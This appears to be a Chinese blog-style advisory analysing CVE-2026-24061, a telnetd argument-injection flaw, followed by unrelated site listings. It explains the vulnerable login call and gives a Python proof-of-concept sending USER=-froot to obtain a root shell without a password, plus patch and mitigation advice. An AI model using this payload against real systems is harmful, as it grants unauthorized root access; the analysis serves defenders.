news 2026/5/9 4:16:40

[特殊字符] 深度剖析 CVE-2026-24061:GNU Inetutils Telnetd 远程认证绕过漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[特殊字符] 深度剖析 CVE-2026-24061:GNU Inetutils Telnetd 远程认证绕过漏洞

发布时间:2026年1月22日

涉及组件:GNU Inetutils (telnetd)

漏洞类型:参数注入 (Argument Injection) / 认证绕过

危害等级Critical (CVSS 3.1: 9.8)攻击复杂度:低 (Low)

1. 漏洞概述

北京时间 2026年1月21日,安全社区披露了一个位于GNU Inetutilstelnetd服务中的严重漏洞,编号为CVE-2026-24061

该漏洞源于telnetd在处理客户端传递的环境变量时存在严重的**参数注入(Argument Injection)**缺陷。远程攻击者无需任何凭证,只需通过构造恶意的USER环境变量值(例如-f root),即可欺骗后端的login程序,绕过密码验证直接以 root 权限登录系统。

鉴于 Telnet 协议虽然古老但在某些遗留系统、嵌入式设备及内部网络中仍有使用,该漏洞的影响不容小觑。

2. 受影响范围

  • 受影响软件:GNU Inetutils

  • 受影响组件telnetd守护进程

  • 受影响版本1.9.3 至 2.7

    • 据悉,该漏洞代码最早引入于 2015 年,潜伏长达 10 年之久。

3. 技术原理分析

要理解这个漏洞,需要了解telnetd如何与系统的/bin/login程序交互。

3.1 背景:Telnet 环境变量传递

Telnet 协议支持一个名为RFC 1408 (Telnet Environment Option)的扩展,允许客户端向服务器传递环境变量(如USER,DISPLAY等)。正常情况下,这些变量用于设置用户的会话环境。

3.2 漏洞根源:不安全的execv调用

telnetd接收到客户端的连接请求时,它会准备参数并调用login程序来处理认证。在受影响的版本中,telnetd将客户端传入的USER环境变量直接用于构建login的参数列表,而未进行充分的过滤或分隔符处理。

漏洞代码逻辑大致如下(伪代码):

C

// 漏洞逻辑示意 char *user = get_env_var("USER"); // 从客户端获取,攻击者可控 char *argv[] = { "login", "-h", host, "-p", user, NULL }; execv("/bin/login", argv);

3.3 攻击向量:利用login-f参数

大多数 Linux/Unix 系统的login程序支持一个特殊的参数:-f(force)

  • 功能-f username告诉login程序,用户已经通过了认证(Pre-authenticated),不需要再输入密码

  • 正常场景:这通常由rlogind或其他受信任的守护进程使用。

攻击流程

  1. 攻击者使用修改过的 Telnet 客户端或脚本,发起连接。

  2. 在 Telnet 握手阶段,通过ENVIRON选项发送恶意的环境变量:USER=-froot(或者-f root,取决于具体实现解析)。

  3. 服务端telnetd将其拼接进参数列表。

  4. 最终执行的命令变为:/bin/login -h <IP> -p -froot

  5. login程序解析参数,看到-froot,认为已认证为root用户。

  6. 结果:攻击者直接获得 root Shell,无需输入任何密码。

4. 漏洞复现 (PoC 概念)

攻击者无需复杂的利用代码,只需控制 Telnet 协议交互即可。

利用脚本逻辑 (Python 伪代码)

Python

import socket # Telnet 协议常量 IAC = b'\xff' SB = b'\xfa' SE = b'\xf0' NEW_ENV_VAR = b'\x27' VAR = b'\x00' VALUE = b'\x01' USER = b'USER' # 连接目标 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("target-ip", 23)) # ... (省略常规握手) ... # 发送恶意环境变量 # 构造 payload: USER = "-froot" payload = IAC + SB + NEW_ENV_VAR + \ b'\x00' + \ # IS VAR + USER + \ # 变量名 USER VALUE + b'-froot' + \ # 变量值 -froot (注入点) IAC + SE s.send(payload) # 此时服务端 login 程序会直接放行,返回 root shell 提示符 print(s.recv(1024))

5. 修复与缓解措施

5.1 官方补丁

GNU Inetutils 维护团队已发布紧急补丁(参考上游提交fd702c0ccba9f7)。修复逻辑主要涉及对USER变量进行严格校验,禁止参数以-开头,或强制使用--分隔符防止参数注入。

5.2 缓解建议

  1. 立即停止使用 Telnet: 这是最彻底的方案。Telnet 是明文传输协议,本质上是不安全的。请全面迁移至SSH (OpenSSH)

  2. 防火墙策略: 如果必须保留 Telnet,请严格限制 TCP 23 端口的访问权限,仅允许受信任的内网 IP 连接。

  3. 升级软件包: 各大 Linux 发行版(Ubuntu, Debian, RedHat 等)正在紧急推送inetutils-telnetd的安全更新,请立即执行apt update && apt upgrade

6. 总结

CVE-2026-24061 是一个经典的“参数注入”漏洞,它再次提醒我们:在处理外部输入并将其传递给系统命令(如exec系列函数)时,必须保持极度的谨慎。即使是像telnetd这样成熟且古老的软件,也会因为对遗留代码的疏忽而暴露出致命弱点。

对于运维人员而言,这也敲响了警钟:彻底淘汰过时协议(Legacy Protocols)刻不容缓。不要让 20 世纪的协议成为 2026 年网络防线的缺口。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/8 0:59:27

微信读书助手:高效工具与知识管理的完美融合

微信读书助手&#xff1a;高效工具与知识管理的完美融合 【免费下载链接】wereader 一个功能全面的微信读书笔记助手 wereader 项目地址: https://gitcode.com/gh_mirrors/we/wereader 你是否也曾在海量书籍中迷失方向&#xff0c;不知该从何读起&#xff1f;笔记写了不…

作者头像 李华
网站建设 2026/5/3 10:41:48

75.3%图像数据增量下的训练效率提升指南:Wan2.2-I2V-A14B实践方案

75.3%图像数据增量下的训练效率提升指南&#xff1a;Wan2.2-I2V-A14B实践方案 【免费下载链接】Wan2.2-I2V-A14B Wan2.2是开源视频生成模型的重大升级&#xff0c;采用混合专家架构提升性能&#xff0c;在相同计算成本下实现更高容量。模型融入精细美学数据&#xff0c;支持精准…

作者头像 李华
网站建设 2026/4/29 19:50:14

快手KwaiCoder:23B代码模型如何超低成本登顶SOTA?

快手KwaiCoder&#xff1a;23B代码模型如何超低成本登顶SOTA&#xff1f; 【免费下载链接】KwaiCoder-23B-A4B-v1 项目地址: https://ai.gitcode.com/hf_mirrors/Kwaipilot/KwaiCoder-23B-A4B-v1 导语&#xff1a;快手Kwaipilot团队推出230亿参数代码模型KwaiCoder-23B…

作者头像 李华
网站建设 2026/5/3 4:57:20

Qwen2.5-Omni-7B:全能AI实时交互新突破!

Qwen2.5-Omni-7B&#xff1a;全能AI实时交互新突破&#xff01; 【免费下载链接】Qwen2.5-Omni-7B 项目地址: https://ai.gitcode.com/hf_mirrors/Qwen/Qwen2.5-Omni-7B 导语 Qwen2.5-Omni-7B多模态大模型正式发布&#xff0c;以创新的Thinker-Talker架构实现文本、图…

作者头像 李华
网站建设 2026/5/7 12:53:41

Qwen3-30B-A3B:一键切换思维模式的AI推理新引擎

Qwen3-30B-A3B&#xff1a;一键切换思维模式的AI推理新引擎 【免费下载链接】Qwen3-30B-A3B-MLX-4bit 项目地址: https://ai.gitcode.com/hf_mirrors/Qwen/Qwen3-30B-A3B-MLX-4bit 导语&#xff1a;Qwen3系列最新模型Qwen3-30B-A3B正式发布&#xff0c;其革命性的单模型…

作者头像 李华
网站建设 2026/4/29 19:47:07

高效全平台资源获取工具:res-downloader从入门到精通

高效全平台资源获取工具&#xff1a;res-downloader从入门到精通 【免费下载链接】res-downloader 资源下载器、网络资源嗅探&#xff0c;支持微信视频号下载、网页抖音无水印下载、网页快手无水印视频下载、酷狗音乐下载等网络资源拦截下载! 项目地址: https://gitcode.com/…

作者头像 李华